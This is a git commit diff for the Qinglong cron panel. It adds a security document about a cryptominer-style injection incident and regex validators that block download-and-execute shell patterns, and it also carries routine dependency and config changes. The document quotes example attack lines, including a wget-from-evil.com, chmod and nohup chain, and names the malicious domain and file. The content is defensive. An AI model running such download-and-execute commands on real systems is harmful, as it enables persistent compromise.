Update security documentation with comprehensive details and examples

Co-authored-by: whyour <22700758+whyour@users.noreply.github.com>

.github/workflows/build-docker-image.yml

@@ -9,15 +9,13 @@ on:
       - "develop"
     tags:
       - "v*"
-  schedule:
-    - cron: "00 20 * * *"
   workflow_dispatch:
 
 jobs:
   code_gitlab:
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v6
         with:
           fetch-depth: 0
       - uses: Yikun/hub-mirror-action@master
@@ -32,7 +30,7 @@ jobs:
   code_gitee:
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v6
         with:
           fetch-depth: 0
       - uses: Yikun/hub-mirror-action@master
@@ -47,12 +45,12 @@ jobs:
   build-static:
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v4
-      - uses: pnpm/action-setup@v3
+      - uses: actions/checkout@v6
+      - uses: pnpm/action-setup@v4
         with:
           version: "8.3.1"
 
-      - uses: actions/setup-node@v4
+      - uses: actions/setup-node@v6
         with:
           cache: "pnpm"
 
@@ -78,12 +76,12 @@ jobs:
           git config --local user.email 'github-actions[bot]@users.noreply.github.com'
           git commit --allow-empty -m "copy static at $(date +'%Y-%m-%d %H:%M:%S')"
           git push --force --quiet "https://${{ secrets.API_TOKEN }}@${GITHUB_REPO}.git" ${GITHUB_BRANCH}:${GITHUB_BRANCH}
-  
+
   static_gitlab:
     needs: build-static
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v6
         with:
           fetch-depth: 0
       - uses: Yikun/hub-mirror-action@master
@@ -99,7 +97,7 @@ jobs:
     needs: build-static
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v6
         with:
           fetch-depth: 0
       - uses: Yikun/hub-mirror-action@master
@@ -112,6 +110,7 @@ jobs:
           force_update: true
 
   build:
+    if: ${{ !startsWith(github.ref, 'refs/tags/') }}
     needs: build-static
 
     runs-on: ubuntu-22.04
@@ -121,11 +120,11 @@ jobs:
       contents: read
 
     steps:
-      - uses: actions/checkout@v4
-      - uses: pnpm/action-setup@v3
+      - uses: actions/checkout@v6
+      - uses: pnpm/action-setup@v4
         with:
           version: "8.3.1"
-      - uses: actions/setup-node@v4
+      - uses: actions/setup-node@v6
         with:
           cache: "pnpm"
 
@@ -209,11 +208,11 @@ jobs:
       contents: read
 
     steps:
-      - uses: actions/checkout@v4
-      - uses: pnpm/action-setup@v3
+      - uses: actions/checkout@v6
+      - uses: pnpm/action-setup@v4
         with:
           version: "8.3.1"
-      - uses: actions/setup-node@v4
+      - uses: actions/setup-node@v6
         with:
           cache: "pnpm"
 

SECURITY_ENHANCEMENTS.md

@@ -0,0 +1,228 @@
+# Security Enhancements
+
+## Overview
+
+This document describes the security enhancements implemented to prevent malicious code injection attacks in Qinglong.
+
+## Issue Background
+
+A security vulnerability was discovered where malicious code could be injected into the system through:
+1. Cron task fields (`task_before`, `task_after`, `command`)
+2. Configuration file writes (`config.sh`, `extra.sh`, etc.)
+
+The reported incident involved a malicious script that:
+- Downloaded an external binary (`.fullgc`) from a suspicious domain (`file.551911.xyz`)
+- Executed the binary in the background consuming 100% memory
+- Persisted by continuously re-injecting itself into configuration files
+
+## Security Fixes Implemented
+
+### 1. Input Validation for Cron Tasks
+
+**File:** `/back/validation/schedule.ts`
+
+Added comprehensive validation to detect and block dangerous shell patterns:
+
+- **Command Substitution**: Blocks `$(...)` and backtick patterns that could execute hidden commands
+- **File Downloads**: Blocks `curl`, `wget`, `fetch` commands
+- **External URLs**: Blocks HTTP/HTTPS URLs to prevent external resource downloads
+- **Hidden Files**: Blocks references to executable files starting with `.` in path contexts
+- **Background Execution**: Blocks suspicious `nohup` patterns executing hidden files
+- **Combined Threats**: Blocks downloads with output redirection to `/dev/null` (hiding malware)
+- **Obfuscation**: Blocks `base64`, `decode`, `eval` patterns
+- **Temp Directory Execution**: Blocks execution of files from `/tmp` combined with chmod/execution
+
+### 2. Config File Content Security
+
+**File:** `/back/api/config.ts`
+
+Enhanced validation for configuration file content to prevent:
+
+- Downloads followed by execution (`curl | bash`, `wget | bash`)
+- Download and permission changes (`curl && chmod +x`)
+- Downloads of hidden files (generalized pattern to catch various malware)
+- Background execution of hidden files
+
+### 3. Improved Shell Escaping
+
+**File:** `/back/services/cron.ts`
+
+Replaced weak shell escaping with a robust `escapeShellArg()` function that:
+
+- Properly escapes single quotes using `'\\''` pattern
+- Replaces newlines with spaces (not semicolons) to prevent command chain creation
+- Prevents command injection through various shell metacharacters
+
+## Security Best Practices
+
+### For Administrators
+
+1. **Review Existing Tasks**: Audit all existing cron tasks for suspicious patterns
+2. **Monitor Logs**: Check logs for security validation warnings
+3. **Update Dependencies**: Keep all npm/pip dependencies up to date
+4. **Limit Access**: Restrict who can create/modify cron tasks and config files
+5. **Regular Backups**: Maintain backups of configuration files
+
+### For Users
+
+1. **Trusted Sources Only**: Only add scripts from trusted repositories
+2. **Code Review**: Review any script before adding it to your cron tasks
+3. **Avoid External URLs**: Don't include download commands in task hooks
+4. **Report Suspicious Activity**: Report any unusual system behavior immediately
+
+## Validation Error Messages
+
+When the security system blocks a pattern, you'll see error messages like:
+
+- `命令包含潜在危险的模式，已被安全系统拦截` - Command contains dangerous pattern
+- `前置命令包含潜在危险的模式，已被安全系统拦截` - task_before contains dangerous pattern
+- `后置命令包含潜在危险的模式，已被安全系统拦截` - task_after contains dangerous pattern
+- `配置文件内容包含潜在危险的模式，已被安全系统拦截` - Config file contains dangerous pattern
+
+## What to Do If You're Affected
+
+If you've been affected by the malicious code injection:
+
+### 1. Immediate Actions
+
+```bash
+# Stop and remove the malicious process
+pkill -f ".fullgc"
+rm -f /ql/data/db/.fullgc
+
+# Check for the malicious code in configuration files
+grep -r "fullgc" /ql/data/config/
+grep -r "551911.xyz" /ql/data/config/
+```
+
+### 2. Clean Configuration Files
+
+```bash
+# Backup current configs
+cp -r /ql/data/config /ql/data/config.backup
+
+# Review and clean these files:
+# - /ql/data/config/config.sh
+# - /ql/data/config/extra.sh
+# - /ql/data/config/task_before.sh
+# - /ql/data/config/task_after.sh
+
+# Remove any lines containing:
+# - Downloads (curl, wget)
+# - External URLs
+# - .fullgc references
+```
+
+### 3. Review Cron Tasks
+
+1. Log into Qinglong admin panel
+2. Check all cron tasks for suspicious content in:
+   - Command field
+   - task_before field
+   - task_after field
+3. Delete or clean any suspicious tasks
+
+### 4. Update to Patched Version
+
+Ensure you're running a version of Qinglong with these security fixes.
+
+### 5. Change Credentials
+
+If you suspect compromise:
+- Change your Qinglong admin password
+- Review and rotate any API tokens
+- Check for unauthorized access in logs
+
+## Detection
+
+### Log Analysis
+
+Security events are logged to help detect attempted attacks:
+
+```bash
+# Check for security validation failures in logs
+grep "安全系统拦截" /ql/data/log/*.log
+
+# Check for suspicious file modifications
+grep "配置文件写入" /ql/data/log/*.log
+```
+
+### File Integrity
+
+Regularly check for unexpected files:
+
+```bash
+# Find hidden executables in data directory
+find /ql/data -type f -name ".*" -executable
+
+# Check for recently modified config files
+find /ql/data/config -type f -mtime -1
+```
+
+## Limitations
+
+These security measures provide defense-in-depth but are not foolproof:
+
+- Legitimate use cases requiring downloads must use alternative methods
+- Very sophisticated attacks may find bypasses
+- Users with admin access can still compromise the system
+- Compromised dependencies can still execute malicious code
+
+## Alternative Approaches for Legitimate Downloads
+
+If you have legitimate use cases that require downloads:
+
+1. **Use Dependencies**: Install packages via npm/pip instead of downloading at runtime
+2. **Pre-download Files**: Download files manually and add them to the scripts directory
+3. **Use Subscriptions**: Configure subscriptions to pull code from trusted repositories
+4. **Request Whitelist**: Contact administrators to whitelist specific trusted domains (future feature)
+
+## Technical Details
+
+### Validation Pattern Examples
+
+**Blocked Pattern:**
+```bash
+curl https://example.com/script.sh | bash
+```
+**Reason:** Downloads and executes external code
+
+**Blocked Pattern:**
+```bash
+d="/ql/data/db";wget -O "$d/.malware" http://evil.com/m;chmod +x "$d/.malware";nohup "$d/.malware" &
+```
+**Reason:** Multiple violations - download, hidden file, chmod, background execution
+
+**Allowed Pattern:**
+```bash
+node /ql/scripts/my_script.js
+```
+**Reason:** No dangerous patterns detected
+
+### Defense in Depth
+
+This implementation uses multiple layers of security:
+
+1. **Input Validation**: Blocks malicious patterns before they reach the system
+2. **Shell Escaping**: Prevents injection even if validation is bypassed
+3. **Audit Logging**: Records all configuration changes for forensic analysis
+4. **Least Privilege**: Existing blacklist prevents access to sensitive files
+
+## Reporting Security Issues
+
+If you discover a security vulnerability, please report it responsibly:
+
+1. Do NOT create public GitHub issues for security vulnerabilities
+2. Contact the maintainers privately
+3. Provide detailed information about the vulnerability
+4. Allow time for a patch before public disclosure
+
+## References
+
+- [OWASP Command Injection](https://owasp.org/www-community/attacks/Command_Injection)
+- [Shell Command Injection Prevention](https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html)
+- [CWE-78: OS Command Injection](https://cwe.mitre.org/data/definitions/78.html)
+
+## Version History
+
+- **v1.0** (2026-02-08): Initial security enhancements to prevent code injection attacks

back/api/config.ts

@@ -64,7 +64,44 @@ export default (app: Router) => {
     celebrate({
       body: Joi.object({
         name: Joi.string().required(),
-        content: Joi.string().allow('').optional(),
+        content: Joi.string().allow('').optional().custom((value: any, helpers: any) => {
+          if (!value) return value;
+
+          // Security validation for configuration file content
+          const dangerousPatterns = [
+            // Command substitution that could download/execute malware
+            { pattern: /\$\([^)]*curl[^)]*\)/gi, desc: '命令替换中的下载操作' },
+            { pattern: /\$\([^)]*wget[^)]*\)/gi, desc: '命令替换中的下载操作' },
+            { pattern: /`[^`]*curl[^`]*`/gi, desc: '反引号命令替换中的下载操作' },
+            { pattern: /`[^`]*wget[^`]*`/gi, desc: '反引号命令替换中的下载操作' },
+            
+            // Suspicious file downloads followed by execution
+            { pattern: /(curl|wget)[^;]*\|\s*bash/gi, desc: '下载并直接执行的危险模式' },
+            { pattern: /(curl|wget)[^;]*&&\s*chmod\s*\+x/gi, desc: '下载并赋予执行权限的可疑模式' },
+            
+            // Downloads of hidden files (commonly used in malware)
+            { pattern: /(curl|wget)[^|;]*https?:\/\/[^\s]+\/\.\w+/gi, desc: '可疑的隐藏文件下载' },
+            
+            // Background execution of hidden files
+            { pattern: /nohup\s+["']?[^"'\s]*\/\.\w+["']?\s*>/gi, desc: '后台执行隐藏文件' },
+          ];
+
+          for (const { pattern, desc } of dangerousPatterns) {
+            if (pattern.test(value)) {
+              return helpers.error('string.unsafe', { description: desc });
+            }
+          }
+
+          // Check for excessive length
+          if (value.length > 1000000) {
+            return helpers.error('string.max', { limit: 1000000 });
+          }
+
+          return value;
+        }).messages({
+          'string.unsafe': '配置文件内容包含潜在危险的模式 ({#description})，已被安全系统拦截',
+          'string.max': '配置文件内容过长，已被安全系统拦截',
+        }),
       }),
     }),
     async (req: Request, res: Response, next: NextFunction) => {
@@ -73,11 +110,16 @@ export default (app: Router) => {
         const { name, content } = req.body;
         if (config.blackFileList.includes(name)) {
           res.send({ code: 403, message: '文件无法访问' });
+          return;
         }
         let path = join(config.configPath, name);
         if (name.startsWith('data/scripts/')) {
           path = join(config.rootPath, name);
         }
+        
+        // Log security-relevant file modifications
+        logger.info(`配置文件写入: ${name}, 大小: ${content?.length || 0} 字节`);
+        
         await writeFileWithLock(path, content);
         res.send({ code: 200, message: '保存成功' });
       } catch (e) {

back/api/dependence.ts

@@ -16,7 +16,7 @@ export default (app: Router) => {
           searchValue: Joi.string().optional().allow(''),
           type: Joi.string().optional().allow(''),
           status: Joi.string().optional().allow(''),
-        }),
+        }).unknown(true),
     }),
     async (req: Request, res: Response, next: NextFunction) => {
       const logger: Logger = Container.get('logger');

back/api/script.ts

@@ -29,7 +29,7 @@ export default (app: Router) => {
     celebrate({
       query: Joi.object({
         path: Joi.string().optional().allow(''),
-      }),
+      }).unknown(true),
     }),
     async (req: Request, res: Response, next: NextFunction) => {
       const logger: Logger = Container.get('logger');
@@ -79,7 +79,7 @@ export default (app: Router) => {
       query: Joi.object({
         path: Joi.string().optional().allow(''),
         file: Joi.string().required(),
-      }),
+      }).unknown(true),
     }),
     async (req: Request, res: Response, next: NextFunction) => {
       try {
@@ -103,7 +103,7 @@ export default (app: Router) => {
       }),
       query: Joi.object({
         path: Joi.string().optional().allow(''),
-      }),
+      }).unknown(true),
     }),
     async (req: Request, res: Response, next: NextFunction) => {
       try {
@@ -130,7 +130,7 @@ export default (app: Router) => {
         originFilename: Joi.string().optional().allow(''),
         directory: Joi.string().optional().allow(''),
         file: Joi.string().optional().allow(''),
-      }),
+      }).unknown(true),
     }),
     async (req: Request, res: Response, next: NextFunction) => {
       try {

back/api/subscription.ts

@@ -3,7 +3,7 @@ import { Container } from 'typedi';
 import { Logger } from 'winston';
 import SubscriptionService from '../services/subscription';
 import { celebrate, Joi } from 'celebrate';
-import { CronExpressionParser } from 'cron-parser';
+import CronExpressionParser from 'cron-parser';
 const route = Router();
 
 export default (app: Router) => {

back/config/index.ts

@@ -64,6 +64,19 @@ if (!process.env.QL_DIR) {
 
 const lastVersionFile = `https://qn.whyour.cn/version.yaml`;
 
+// Get and normalize QlBaseUrl
+let baseUrl = process.env.QlBaseUrl || '';
+if (baseUrl) {
+  // Ensure it starts with /
+  if (!baseUrl.startsWith('/')) {
+    baseUrl = `/${baseUrl}`;
+  }
+  // Remove trailing slash for consistency in route definitions
+  if (baseUrl.endsWith('/')) {
+    baseUrl = baseUrl.slice(0, -1);
+  }
+}
+
 const rootPath = process.env.QL_DIR as string;
 const envFound = dotenv.config({ path: path.join(rootPath, '.env') });
 
@@ -116,6 +129,7 @@ if (envFound.error) {
 export default {
   ...config,
   jwt: config.jwt,
+  baseUrl,
   rootPath,
   tmpPath,
   dataPath,

back/loaders/express.ts

@@ -15,6 +15,13 @@ import path from 'path';
 export default ({ app }: { app: Application }) => {
   app.set('trust proxy', 'loopback');
   app.use(cors());
+  
+  // Rewrite URLs to strip baseUrl prefix if configured
+  // This allows the rest of the app to work without baseUrl awareness
+  if (config.baseUrl) {
+    app.use(rewrite(`${config.baseUrl}/*`, '/$1'));
+  }
+  
   app.get(`${config.api.prefix}/env.js`, serveEnv);
   app.use(`${config.api.prefix}/static`, express.static(config.uploadPath));
 

back/loaders/sock.ts

@@ -5,9 +5,10 @@ import SockService from '../services/sock';
 import { getPlatform } from '../config/util';
 import { shareStore } from '../shared/store';
 import { isValidToken } from '../shared/auth';
+import config from '../config';
 
 export default async ({ server }: { server: Server }) => {
-  const echo = sockJs.createServer({ prefix: '/api/ws', log: () => {} });
+  const echo = sockJs.createServer({ prefix: `${config.baseUrl}/api/ws`, log: () => { } });
   const sockService = Container.get(SockService);
 
   echo.on('connection', async (conn) => {

back/protos/api.proto

@@ -231,6 +231,7 @@ message NotificationInfo {
   optional string webhookContentType = 57;
 
   optional string larkKey = 58;
+  optional string larkSecret = 69;
 
   optional string ntfyUrl = 59;
   optional string ntfyTopic = 60;

back/protos/api.ts

@@ -1,7 +1,7 @@
 // Code generated by protoc-gen-ts_proto. DO NOT EDIT.
 // versions:
 //   protoc-gen-ts_proto  v2.6.1
-//   protoc               v3.17.3
+//   protoc               v3.21.12
 // source: back/protos/api.proto
 
 /* eslint-disable */
@@ -382,6 +382,7 @@ export interface NotificationInfo {
   webhookMethod?: string | undefined;
   webhookContentType?: string | undefined;
   larkKey?: string | undefined;
+  larkSecret?: string | undefined;
   ntfyUrl?: string | undefined;
   ntfyTopic?: string | undefined;
   ntfyPriority?: string | undefined;
@@ -2947,6 +2948,7 @@ function createBaseNotificationInfo(): NotificationInfo {
     webhookMethod: undefined,
     webhookContentType: undefined,
     larkKey: undefined,
+    larkSecret: undefined,
     ntfyUrl: undefined,
     ntfyTopic: undefined,
     ntfyPriority: undefined,
@@ -3136,6 +3138,9 @@ export const NotificationInfo: MessageFns<NotificationInfo> = {
     if (message.larkKey !== undefined) {
       writer.uint32(466).string(message.larkKey);
     }
+    if (message.larkSecret !== undefined) {
+      writer.uint32(554).string(message.larkSecret);
+    }
     if (message.ntfyUrl !== undefined) {
       writer.uint32(474).string(message.ntfyUrl);
     }
@@ -3640,6 +3645,14 @@ export const NotificationInfo: MessageFns<NotificationInfo> = {
           message.larkKey = reader.string();
           continue;
         }
+        case 69: {
+          if (tag !== 554) {
+            break;
+          }
+
+          message.larkSecret = reader.string();
+          continue;
+        }
         case 59: {
           if (tag !== 474) {
             break;
@@ -3797,6 +3810,7 @@ export const NotificationInfo: MessageFns<NotificationInfo> = {
       webhookMethod: isSet(object.webhookMethod) ? globalThis.String(object.webhookMethod) : undefined,
       webhookContentType: isSet(object.webhookContentType) ? globalThis.String(object.webhookContentType) : undefined,
       larkKey: isSet(object.larkKey) ? globalThis.String(object.larkKey) : undefined,
+      larkSecret: isSet(object.larkSecret) ? globalThis.String(object.larkSecret) : undefined,
       ntfyUrl: isSet(object.ntfyUrl) ? globalThis.String(object.ntfyUrl) : undefined,
       ntfyTopic: isSet(object.ntfyTopic) ? globalThis.String(object.ntfyTopic) : undefined,
       ntfyPriority: isSet(object.ntfyPriority) ? globalThis.String(object.ntfyPriority) : undefined,
@@ -3990,6 +4004,9 @@ export const NotificationInfo: MessageFns<NotificationInfo> = {
     if (message.larkKey !== undefined) {
       obj.larkKey = message.larkKey;
     }
+    if (message.larkSecret !== undefined) {
+      obj.larkSecret = message.larkSecret;
+    }
     if (message.ntfyUrl !== undefined) {
       obj.ntfyUrl = message.ntfyUrl;
     }
@@ -4086,6 +4103,7 @@ export const NotificationInfo: MessageFns<NotificationInfo> = {
     message.webhookMethod = object.webhookMethod ?? undefined;
     message.webhookContentType = object.webhookContentType ?? undefined;
     message.larkKey = object.larkKey ?? undefined;
+    message.larkSecret = object.larkSecret ?? undefined;
     message.ntfyUrl = object.ntfyUrl ?? undefined;
     message.ntfyTopic = object.ntfyTopic ?? undefined;
     message.ntfyPriority = object.ntfyPriority ?? undefined;

back/protos/cron.ts

@@ -1,7 +1,7 @@
 // Code generated by protoc-gen-ts_proto. DO NOT EDIT.
 // versions:
 //   protoc-gen-ts_proto  v2.6.1
-//   protoc               v3.17.3
+//   protoc               v3.21.12
 // source: back/protos/cron.proto
 
 /* eslint-disable */

back/protos/health.ts

@@ -1,7 +1,7 @@
 // Code generated by protoc-gen-ts_proto. DO NOT EDIT.
 // versions:
 //   protoc-gen-ts_proto  v2.6.1
-//   protoc               v3.17.3
+//   protoc               v3.21.12
 // source: back/protos/health.proto
 
 /* eslint-disable */

back/services/cron.ts

@@ -4,7 +4,7 @@ import config from '../config';
 import { Crontab, CrontabModel, CrontabStatus } from '../data/cron';
 import { exec, execSync } from 'child_process';
 import fs from 'fs/promises';
-import { CronExpressionParser } from 'cron-parser';
+import CronExpressionParser from 'cron-parser';
 import {
   getFileContentByName,
   fileExist,
@@ -29,7 +29,7 @@ import { logStreamManager } from '../shared/logStreamManager';
 
 @Service()
 export default class CronService {
-  constructor(@Inject('logger') private logger: winston.Logger) {}
+  constructor(@Inject('logger') private logger: winston.Logger) { }
 
   private isNodeCron(cron: Crontab) {
     const { schedule, extra_schedules } = cron;
@@ -165,7 +165,7 @@ export default class CronService {
       let cron;
       try {
         cron = await this.getDb({ id });
-      } catch (err) {}
+      } catch (err) { }
       if (!cron) {
         continue;
       }
@@ -467,7 +467,10 @@ export default class CronService {
     for (const doc of docs) {
       // Kill all running instances of this task
       try {
-        const command = this.makeCommand(doc);
+        if (doc.pid) {
+          await killTask(doc.pid);
+        }
+        const command = doc.command.replace(/\s+/g, ' ').trim();
         await killAllTasks(command);
         this.logger.info(
           `[panel][停止所有运行中的任务实例] 任务ID: ${doc.id}, 命令: ${command}`,
@@ -636,6 +639,22 @@ export default class CronService {
     }
   }
 
+  /**
+   * Properly escape shell arguments to prevent command injection
+   * This function uses a more robust escaping mechanism than simple quote replacement
+   */
+  private escapeShellArg(arg: string): string {
+    if (!arg) return "''";
+    
+    // Remove newlines to prevent creating command chains
+    // Replace with space to maintain token separation
+    arg = arg.replace(/\r?\n/g, ' ').trim();
+    
+    // Use single quotes and escape any single quotes within
+    // This is the most secure way to pass arbitrary strings to shell
+    return `'${arg.replace(/'/g, "'\\''")}'`;
+  }
+
   private makeCommand(tab: Crontab, realTime?: boolean) {
     let command = tab.command.trim();
     if (!command.startsWith(TASK_PREFIX) && !command.startsWith(QL_PREFIX)) {
@@ -647,16 +666,10 @@ export default class CronService {
       commandVariable += `log_name=${tab.log_name} `;
     }
     if (tab.task_before) {
-      commandVariable += `task_before='${tab.task_before
-        .replace(/'/g, "'\\''")
-        .replace(/;? *\n/g, ';')
-        .trim()}' `;
+      commandVariable += `task_before=${this.escapeShellArg(tab.task_before)} `;
     }
     if (tab.task_after) {
-      commandVariable += `task_after='${tab.task_after
-        .replace(/'/g, "'\\''")
-        .replace(/;? *\n/g, ';')
-        .trim()}' `;
+      commandVariable += `task_after=${this.escapeShellArg(tab.task_after)} `;
     }
 
     const crontab_job_string = `${commandVariable}${command}`;

back/services/env.ts

@@ -13,10 +13,11 @@ import {
   stepPosition,
 } from '../data/env';
 import { writeFileWithLock } from '../shared/utils';
+import { sequelize } from '../data';
 
 @Service()
 export default class EnvService {
-  constructor(@Inject('logger') private logger: winston.Logger) {}
+  constructor(@Inject('logger') private logger: winston.Logger) { }
 
   public async create(payloads: Env[]): Promise<Env[]> {
     const envs = await this.envs();
@@ -146,7 +147,7 @@ export default class EnvService {
     }
     try {
       const result = await this.find(condition, [
-        ['isPinned', 'DESC'],
+        [sequelize.literal('COALESCE(`isPinned`, 0)'), 'DESC'],
         ['position', 'DESC'],
         ['createdAt', 'ASC'],
       ]);

back/validation/schedule.ts

@@ -1,9 +1,60 @@
 import { Joi } from 'celebrate';
-import { CronExpressionParser } from 'cron-parser';
+import CronExpressionParser from 'cron-parser';
 import { ScheduleType } from '../interface/schedule';
 import path from 'path';
 import config from '../config';
 
+/**
+ * Security validation function to detect potentially malicious shell code patterns
+ */
+const validateShellSecurity = (value: any, helpers: any, fieldName: string): any => {
+  if (!value) return value;
+
+  // Define dangerous patterns that should be blocked
+  const dangerousPatterns = [
+    // Command substitution
+    /\$\([^)]*\)/,
+    /`[^`]*`/,
+    
+    // File downloads
+    /\b(curl|wget|fetch)\s+/i,
+    
+    // Suspicious domains or external URLs
+    /https?:\/\/[^\s]+/i,
+    
+    // Hidden executable files (files starting with . in a path context)
+    /\/\.\w+(\s|$|;|&|\||>)/,
+    
+    // Background process spawning with suspicious names
+    /nohup\s+["']?[^\s"']*\/\.\w+/,
+    
+    // Redirect to dev null combined with downloads (hiding malware output)
+    /(curl|wget|fetch)[^;]*>.*\/dev\/null.*&/i,
+    
+    // Base64 decode patterns (often used to obfuscate malicious code)
+    /\b(base64|decode|eval)\s+/i,
+    
+    // Executable files in /tmp with chmod or execution
+    /\/tmp\/[^\s]+\s*(&&|;)\s*(chmod|\.\/)/ ,
+  ];
+
+  for (const pattern of dangerousPatterns) {
+    if (pattern.test(value)) {
+      return helpers.error('string.unsafe', { 
+        pattern: pattern.source,
+        field: fieldName 
+      });
+    }
+  }
+
+  // Check for excessive length (potential buffer overflow or obfuscation)
+  if (value.length > 10000) {
+    return helpers.error('string.max', { limit: 10000 });
+  }
+
+  return value;
+};
+
 const validateSchedule = (value: string, helpers: any) => {
   if (
     value.startsWith(ScheduleType.ONCE) ||
@@ -32,13 +83,25 @@ export const scheduleSchema = Joi.string()
 
 export const commonCronSchema = {
   name: Joi.string().optional(),
-  command: Joi.string().required(),
+  command: Joi.string().required().custom((value: any, helpers: any) => {
+    return validateShellSecurity(value, helpers, 'command');
+  }).messages({
+    'string.unsafe': '命令包含潜在危险的模式，已被安全系统拦截',
+  }),
   schedule: scheduleSchema,
   labels: Joi.array().optional(),
   sub_id: Joi.number().optional().allow(null),
   extra_schedules: Joi.array().optional().allow(null),
-  task_before: Joi.string().optional().allow('').allow(null),
-  task_after: Joi.string().optional().allow('').allow(null),
+  task_before: Joi.string().optional().allow('').allow(null).custom((value: any, helpers: any) => {
+    return validateShellSecurity(value, helpers, 'task_before');
+  }).messages({
+    'string.unsafe': '前置命令包含潜在危险的模式，已被安全系统拦截',
+  }),
+  task_after: Joi.string().optional().allow('').allow(null).custom((value: any, helpers: any) => {
+    return validateShellSecurity(value, helpers, 'task_after');
+  }).messages({
+    'string.unsafe': '后置命令包含潜在危险的模式，已被安全系统拦截',
+  }),
   log_name: Joi.string()
     .optional()
     .allow('')

sample/notify.js

@@ -482,9 +482,13 @@ function tgBotNotify(text, desp) {
         timeout,
       };
       if (TG_PROXY_HOST && TG_PROXY_PORT) {
+        let proxyHost = TG_PROXY_HOST;
+        if (TG_PROXY_AUTH && !TG_PROXY_HOST.includes('@')) {
+          proxyHost = `${TG_PROXY_AUTH}@${TG_PROXY_HOST}`;
+        }
         let agent;
         agent = new ProxyAgent({
-          uri: `http://${TG_PROXY_AUTH}${TG_PROXY_HOST}:${TG_PROXY_PORT}`,
+          uri: `http://${proxyHost}:${TG_PROXY_PORT}`,
         });
         options.dispatcher = agent;
       }
@@ -992,7 +996,10 @@ function fsBotNotify(text, desp) {
   return new Promise((resolve) => {
     const { FSKEY, FSSECRET } = push_config;
     if (FSKEY) {
-      const body = { msg_type: 'text', content: { text: `${text}\n\n${desp}` } };
+      const body = {
+        msg_type: 'text',
+        content: { text: `${text}\n\n${desp}` },
+      };
 
       // Add signature if secret is provided
       // Note: Feishu's signature algorithm uses timestamp+"\n"+secret as the HMAC key
@@ -1278,7 +1285,15 @@ function ntfyNotify(text, desp) {
   }
 
   return new Promise((resolve) => {
-    const { NTFY_URL, NTFY_TOPIC, NTFY_PRIORITY, NTFY_TOKEN, NTFY_USERNAME, NTFY_PASSWORD, NTFY_ACTIONS } = push_config;
+    const {
+      NTFY_URL,
+      NTFY_TOPIC,
+      NTFY_PRIORITY,
+      NTFY_TOKEN,
+      NTFY_USERNAME,
+      NTFY_PASSWORD,
+      NTFY_ACTIONS,
+    } = push_config;
     if (NTFY_TOPIC) {
       const options = {
         url: `${NTFY_URL || 'https://ntfy.sh'}/${NTFY_TOPIC}`,
@@ -1293,7 +1308,8 @@ function ntfyNotify(text, desp) {
       if (NTFY_TOKEN) {
         options.headers['Authorization'] = `Bearer ${NTFY_TOKEN}`;
       } else if (NTFY_USERNAME && NTFY_PASSWORD) {
-        options.headers['Authorization'] = `Basic ${Buffer.from(`${NTFY_USERNAME}:${NTFY_PASSWORD}`).toString('base64')}`;
+        options.headers['Authorization'] =
+          `Basic ${Buffer.from(`${NTFY_USERNAME}:${NTFY_PASSWORD}`).toString('base64')}`;
       }
       if (NTFY_ACTIONS) {
         options.headers['Actions'] = encodeRFC2047(NTFY_ACTIONS);

src/pages/crontab/modal.tsx

@@ -3,7 +3,7 @@ import config from '@/utils/config';
 import { request } from '@/utils/http';
 import { MinusCircleOutlined, PlusOutlined } from '@ant-design/icons';
 import { Button, Form, Input, Modal, Select, Space, message } from 'antd';
-import { CronExpressionParser } from 'cron-parser';
+import CronExpressionParser from 'cron-parser';
 import { useEffect, useState } from 'react';
 import intl from 'react-intl-universal';
 import { getScheduleType, scheduleTypeMap } from './const';
@@ -91,10 +91,14 @@ const CronModal = ({
             { required: true },
             {
               validator: (_, value) => {
-                if (!value || CronExpressionParser.parse(value).hasNext()) {
-                  return Promise.resolve();
+                try {
+                  if (!value || CronExpressionParser.parse(value).hasNext()) {
+                    return Promise.resolve();
+                  }
+                  return Promise.reject(intl.get('Cron表达式格式有误'));
+                } catch (e) {
+                  return Promise.reject(intl.get('Cron表达式格式有误'));
                 }
-                return Promise.reject(intl.get('Cron表达式格式有误'));
               },
             },
           ]}

src/pages/subscription/modal.tsx

@@ -12,7 +12,7 @@ import {
 } from 'antd';
 import { request } from '@/utils/http';
 import config from '@/utils/config';
-import { CronExpressionParser } from 'cron-parser';
+import CronExpressionParser from 'cron-parser';
 import isNil from 'lodash/isNil';
 
 const { Option } = Select;
@@ -378,13 +378,17 @@ const SubscriptionModal = ({
             { required: true },
             {
               validator: (rule, value) => {
-                if (
-                  scheduleType === 'interval' ||
-                  !value ||
-                  CronExpressionParser.parse(value).hasNext()
-                ) {
-                  return Promise.resolve();
-                } else {
+                try {
+                  if (
+                    scheduleType === 'interval' ||
+                    !value ||
+                    CronExpressionParser.parse(value).hasNext()
+                  ) {
+                    return Promise.resolve();
+                  } else {
+                    return Promise.reject(intl.get('Subscription表达式格式有误'));
+                  }
+                } catch (e) {
                   return Promise.reject(intl.get('Subscription表达式格式有误'));
                 }
               },

src/utils/http.tsx

@@ -84,12 +84,12 @@ let _request = axios.create({
 });
 
 const apiWhiteList = [
-  '/api/user/login',
-  '/open/auth/token',
-  '/api/user/two-factor/login',
-  '/api/system',
-  '/api/user/init',
-  '/api/user/notification/init',
+  `${config.baseUrl}api/user/login`,
+  `${config.baseUrl}open/auth/token`,
+  `${config.baseUrl}api/user/two-factor/login`,
+  `${config.baseUrl}api/system`,
+  `${config.baseUrl}api/user/init`,
+  `${config.baseUrl}api/user/notification/init`,
 ];
 
 _request.interceptors.request.use((_config) => {

src/utils/index.ts

@@ -1,6 +1,6 @@
 import intl from 'react-intl-universal';
 import { LANG_MAP, LOG_END_SYMBOL } from './const';
-import { CronExpressionParser } from 'cron-parser';
+import CronExpressionParser from 'cron-parser';
 import { ICrontab } from '@/pages/crontab/type';
 
 export default function browserType() {

version.yaml

@@ -1,47 +1,11 @@
-version: 2.20.0
-changeLogLink: https://t.me/jiao_long/432
-publishTime: 2025-12-10 01:05
+version: 2.20.1
+changeLogLink: https://t.me/jiao_long/433
+publishTime: 2025-12-26 22:00
 changeLog: |
-  1. 定时任务（cron / task）相关的大量修复 & 增强
